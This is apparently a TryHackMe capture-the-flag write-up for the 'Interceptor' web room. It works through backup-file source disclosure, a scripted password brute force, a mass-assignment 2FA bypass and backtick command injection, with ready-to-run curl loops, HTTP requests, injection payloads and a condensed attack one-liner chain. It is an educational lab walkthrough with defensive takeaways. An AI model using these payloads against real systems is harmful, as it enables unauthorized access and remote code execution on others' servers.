TryHackMe Web Linux Medium

Interceptor

Source disclosure via a backup file leaks admin credentials hidden in a comment. Mass-assignment in the OTP handler bypasses 2FA entirely. A client-side-only input filter leaves the feed importer open to command injection via backtick subshells.

PlatformTryHackMe
DifficultyMedium
OSLinux (Ubuntu)
StackApache · PHP · JSON API
Techniques.bak disclosure · Mass-assignment · CMDi
00

Kill Chain

Phase 1 — Recon
Nmap ffuf — content discovery login.php.bak found admin email + password policy leaked
Phase 2 — Authentication Bypass
brute password (40 attempts) login success → OTP required is_verified=true mass-assignment dashboard — web flag
Phase 3 — RCE
feed importer — client-side filter only backtick subshell injection base64 exfil (bash brace workaround) user.txt — system flag
Recon Credentials Access Exploitation
01

Recon & Content Discovery

Port scan

shell
nmap -sV -p- 10.112.156.155 echo '10.112.156.155 interceptor.thm' | sudo tee -a /etc/hosts

Three ports open: 22 (SSH), 53 (DNS — AXFR refused), 80 (Apache 2.4.41 — the entire challenge). All action is on port 80.

Directory enumeration

shell
ffuf -u http://interceptor.thm/FUZZ \ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt \ -e .php -fc 404

Interesting endpoints found:

200
login.php — JS-driven login form that POSTs to an API endpoint.
POST
api_login.php — JSON API consumed by the form. Returns {ok, error} on failure or {ok:true, redirect} on success.
302
dashboard.php and otp.php — both redirect to login.php until the session is fully verified.
200
config.php — returns 0 bytes. PHP is executing it, not serving it raw. Can't read it directly.
301
uploads/ — directory listing enabled, contains avatar images. Not immediately useful.

The full auth flow looks like this:

flow
login.php → api_login.php → otp.php → verify_otp.php → dashboard.php
Important — 1491-byte fallback: Any non-existent .php file returns a 200 OK with 1491 bytes — Apache silently rewrites it to index.php. A 200 status alone means nothing here. Always compare body sizes against this baseline when fuzzing PHP apps with fallback routing.
02

Source Disclosure via .bak File

Backup files are left behind by text editors and manual deployments — they're not executed by PHP, so the web server serves them as raw text. Sweeping for common backup extensions against every known PHP file:

shell
for ext in .bak .swp .old .save .orig "~"; do for base in api_login login config dashboard otp; do size=$(curl -s -o /dev/null -w "%{size_download}" \ "http://interceptor.thm/${base}.php${ext}") # anything that isn't the 1491-byte fallback is a real file [ "$size" != "1491" ] && [ "$size" != "0" ] && \ echo "$base.php$ext => $size bytes" done done login.php.bak => 2038 bytes
http — fetch the backup
GET /login.php.bak HTTP/1.1 Host: interceptor.thm

The file contains a developer comment that should have been removed before deployment:

login.php.bak — developer comment
/* |-------------------------------------------------------------------------- | Developer Note (temporary) |-------------------------------------------------------------------------- | Admin test account for staging environment | Email: [email protected] | | Password policy reminder: | Admin password follows company format: | MediaHub + any year | | TODO: remove before production deployment */
Two critical intel items extracted:
① The real admin email is [email protected] — not [email protected]. Every previous login attempt failed because of the wrong domain, not the wrong password.
② The password format is MediaHub<year> — this collapses the entire keyspace to ~40 guesses.
03

Dead Ends — What Doesn't Work

Before finding the backup file, several standard approaches were tested and failed. Worth documenting so you don't repeat them.

AttemptWhy it failed
Response tamperingChanging ok:falseok:true in the API response fools the client JS into redirecting — but the server-side session is never set. dashboard.php redirects straight back to login.
SQLi in email / password' OR '1'='1 and variants — all returned Invalid credentials. The query is parameterised or the input is otherwise sanitised.
PHP type-jugglingemail[]=...&password[]=... — no effect.
Header injectionX-Forwarded-For: 127.0.0.1, X-Original-URL, alternative Host values — none bypassed auth.
Mass-assignment on loginadmin=1, role=admin, is_admin=true, bypass=1 — none changed the response.
Probing non-existent API routesapi_register.php, api_otp.php, etc. — all return the 1491-byte fallback. They don't exist.
04

Brute-forcing the Password

With the format MediaHub<year>, the entire search space is ~40 requests. No wordlist needed.

shell
for year in $(seq 1990 2030); do resp=$(curl -s -X POST http://interceptor.thm/api_login.php \ -d "[email protected]&password=MediaHub${year}") case "$resp" in *Invalid*) ;; *) echo "[+] $year => $resp" ;; esac done [+] $YEAR => {"ok":true,"message":"Login success. OTP required.","redirect":"otp.php"}
http — successful login request
POST /api_login.php HTTP/1.1 Host: interceptor.thm Content-Type: application/x-www-form-urlencoded [email protected]&password=$PASS
http — response
HTTP/1.1 200 OK Set-Cookie: PHPSESSID=3mbkf04s5enib9e3mtb0f36uhb; path=/ {"ok":true,"message":"Login success. OTP required.","redirect":"otp.php"}

The PHPSESSID cookie is now bound to a partially authenticated session — login passed, OTP not yet verified. This cookie is what we carry into the next step.

05

OTP Bypass — Mass-Assignment

Finding the vulnerability

Posting a random OTP to verify_otp.php with the partial-auth session returns an interesting response:

http — probe request
POST /verify_otp.php HTTP/1.1 Host: interceptor.thm Cookie: PHPSESSID=3mbkf04s5enib9e3mtb0f36uhb Content-Type: application/x-www-form-urlencoded otp=000000
http — response
{"ok":false,"error":"Invalid OTP. Try again.","is_verified":false}
The tell: The response includes "is_verified":false — a field the client JS never reads. It only checks data.ok. This field is leaking because the backend builds its JSON response from the same internal state array it uses to track session verification. When a server exposes its own internal state keys in the response, it's almost always reading those same keys from the request — this is the classic mass-assignment pattern.

The bypass

Send is_verified=true alongside the OTP. The OTP value itself is irrelevant — the backend reads is_verified from the POST body and sets the session flag directly.

http — bypass request
POST /verify_otp.php HTTP/1.1 Host: interceptor.thm Cookie: PHPSESSID=3mbkf04s5enib9e3mtb0f36uhb Content-Type: application/x-www-form-urlencoded otp=000000&is_verified=true
http — response
{"ok":true,"message":"OTP verified. Redirecting..."}

Note that is_verified is gone from the response — the session is now fully authenticated and the backend no longer needs to surface that flag.

Why variants like verified=true or is_verified=1 fail: They consume the partial-auth session — the next response says "Session expired. Please login again." The session is single-use at this stage. Use the exact key and value the backend expects: is_verified=true. Get a fresh PHPSESSID from the brute-force step each time you test a variant.

With the session fully verified, dashboard.php is now accessible and returns the web flag in a tooltip attribute.

06

Command Injection — Feed Importer

Identifying the vector

The dashboard exposes a "Import Feed" widget that POSTs a URL to import_feed_api.php. Reading the client-side JS reveals the filter:

javascript — client-side filter
// strip semicolons, ampersands, pipes before submitting const url = feedUrl.value.replace(/[;&|]/g, '');

Two giveaways: the filter runs on the client only (Burp skips it entirely), and the error response renders data.cmd_output in a <pre> block — the backend is shelling out, almost certainly as curl <url>, and returning stdout directly.

Client-side filters are not security. Any filter in JavaScript is bypassed by sending the request directly — Burp Repeater, curl, or any HTTP client. The filter must be implemented server-side. The same regex is also applied server-side here (stripping ;, &, |), but backticks are not on the list — and backticks trigger command substitution in bash.

Confirming RCE

Inject a backtick subshell inside the URL. The server passes the string to bash, which expands the subshell, then uses the output as part of the hostname for curl — which fails to resolve it and prints the expanded value in the error.

http — RCE probe
POST /import_feed_api.php HTTP/1.1 Host: interceptor.thm Cookie: PHPSESSID=3mbkf04s5enib9e3mtb0f36uhb Content-Type: application/x-www-form-urlencoded url=http%3A%2F%2Fx.com%60id%60

Decoded body: url=http://x.com`id`

response — RCE confirmed
curl: (6) Could not resolve host: uid=33(www-data) curl: (6) Could not resolve host: gid=33(www-data) curl: (6) Could not resolve host: groups=33(www-data),1002(findgroup),1003(websql)

Bash expanded `id`, split the output on whitespace, and handed each token to curl as a hostname. Host resolution fails — but the output leaks through the error message. RCE confirmed as www-data.

Reading the flag — bash brace expansion problem

First attempt at reading the file directly:

url payload
url=http://x.com`cat /var/www/user.txt`
response — truncated flag
curl: (6) Could not resolve host: x.comTHMSYSTEM_PWNED_SUCCESSFULLY
Bash brace expansion ate the flag. The THM{...} curly braces are shell metacharacters — bash interprets them as brace expansion and either expands or silently drops them before passing the string to curl. The flag text is there, but the braces are gone.

Workaround — base64 encode the output

Base64 output contains only [A-Za-z0-9+/=] — no shell metacharacters, no brace expansion, no whitespace splitting. Encode the file contents before they touch the shell.

http — final exfil request
POST /import_feed_api.php HTTP/1.1 Host: interceptor.thm Cookie: PHPSESSID=3mbkf04s5enib9e3mtb0f36uhb Content-Type: application/x-www-form-urlencoded url=http%3A%2F%2Fx.com%60base64%20%2Fvar%2Fwww%2Fuser.txt%60

Decoded body: url=http://x.com`base64 /var/www/user.txt`

response → decode locally
curl: (6) Could not resolve host: x.comVEhNe1NZU1RFTV9QV05FRF9TVUNDRVNTRlVMTFl9Cg== # decode locally echo VEhNe1NZU1RFTV9QV05FRF9TVUNDRVNTRlVMTFl9Cg== | base64 -d THM{...}
07

Full Attack — One-liner Chain

shell — complete attack condensed
# 1. confirm the backup exists (size ≠ 1491 fallback) curl -s -o /dev/null -w "%{size_download}\n" http://interceptor.thm/login.php.bak # 2. read it — grab the email and password format from the comment curl -s http://interceptor.thm/login.php.bak # 3. brute the year, save the session cookie curl -s -c jar.txt -X POST http://interceptor.thm/api_login.php \ -d '[email protected]&password=$PASS' # 4. bypass OTP via mass-assignment curl -s -b jar.txt -X POST http://interceptor.thm/verify_otp.php \ -d 'otp=000000&is_verified=true' # 5. grab the web flag from the dashboard tooltip curl -s -b jar.txt http://interceptor.thm/dashboard.php \ | grep -oE 'THM\{[^}]+\}' # 6. read /var/www/user.txt via backtick injection + base64 (avoids brace expansion) curl -s -b jar.txt -X POST http://interceptor.thm/import_feed_api.php \ --data-urlencode 'url=http://x.com`base64 /var/www/user.txt`' \ | grep -oE '[A-Za-z0-9+/=]{20,}' | base64 -d
Chain complete. .bak source disclosure → credential format leak → 40-attempt brute → OTP mass-assignment bypass → web flag → backtick CMDi → base64 exfil → system flag.
08

Key Takeaways

01
A 200 OK with the fallback body size is a 404. PHP apps that rewrite missing files to index.php return 200 for everything. Compare sizes — any response that differs from the baseline is a real file.
02
Always sweep for backup extensions. .bak, .old, .swp, ~, .orig, .save against every known PHP file. Text editors and sloppy deployments leave these behind. They're not parsed by PHP — served as raw text.
03
Response tampering fools the client, not the server. If the server's session state isn't set, no amount of JSON manipulation changes what dashboard.php will return. Always tamper the request, not the response.
04
The leaked field name is the payload. When a server includes an internal boolean (is_verified) in a JSON response that the client never reads, that field is almost always read from the request body too. Send it back set to true.
05
Client-side filters are theatre. A replace(/[;&|]/g,'') in JavaScript is skipped by every HTTP client that isn't a browser. The filter must live server-side. And even then — backticks, $(), ${IFS}, and newlines weren't on this list.
06
Bash brace expansion eats THM{...} flags in subshells. Curly braces are shell metacharacters. Encode before the output touches the shell: base64 <file>, xxd, or od -An -c. Decode locally after exfil.